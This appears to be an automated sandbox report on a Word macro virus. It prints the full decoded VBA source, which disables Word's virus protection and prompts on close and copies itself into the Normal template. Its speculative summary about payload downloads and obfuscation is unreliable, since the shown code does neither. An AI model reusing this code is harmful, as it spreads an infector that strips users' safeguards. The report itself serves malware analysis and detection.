Office (OLE) malware analysis — malicious · 06f7d25d94c4c235

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-08-31 21:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 3593721df2bc5685f0c16574c7318251 SHA-1: 56af6f97818bb3cf294cfab31dacc47515ffb5a0 SHA-256: 06f7d25d94c4c23570bac1b99f2c697625e8cdb26217e321ce828124aaf1a1d0

80 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample is an OLE document containing VBA macros. The macros appear to modify Word's security settings and attempt to save the document, potentially to execute embedded malicious code. The ClamAV detection 'Doc.Trojan.FS-19' further supports its malicious nature. The specific intent of the macro upon document close is unclear due to obfuscation, but it likely aims to ensure persistence or download a secondary payload.

Heuristics 2

ClamAV: Doc.Trojan.FS-19 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.FS-19
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 943 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	943 bytes
SHA-256: `ba4aab1216756c8ce050d6e6f809744f00a0530791998bdb2bd9ad6cd7e57873`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia-Variants Private Sub Document_Close() On Error Resume Next ι = ActiveDocument.Saved Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 Application.DisplayAlerts = 0 Options.ConfirmConversions = 0 Application.EnableCancelKey = 0 If Len(ActiveDocument.Path) Then Set α = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1).CodeModule Set υ = ThisDocument.VBProject.VBComponents(1).CodeModule If Not α.Find("~^^~", 0, 0, 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines) If Not ActiveDocument.ReadOnly Then ActiveDocument.Save End If: ActiveDocument.Saved = ι End Sub

SHA-256: ba4aab1216756c8ce050d6e6f809744f00a0530791998bdb2bd9ad6cd7e57873

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia-Variants
Private Sub Document_Close()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
If Len(ActiveDocument.Path) Then
Set α = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1).CodeModule
Set υ = ThisDocument.VBProject.VBComponents(1).CodeModule
If Not α.Find("~^^~", 0, 0, 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)
If Not ActiveDocument.ReadOnly Then ActiveDocument.Save
End If: ActiveDocument.Saved = ι
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.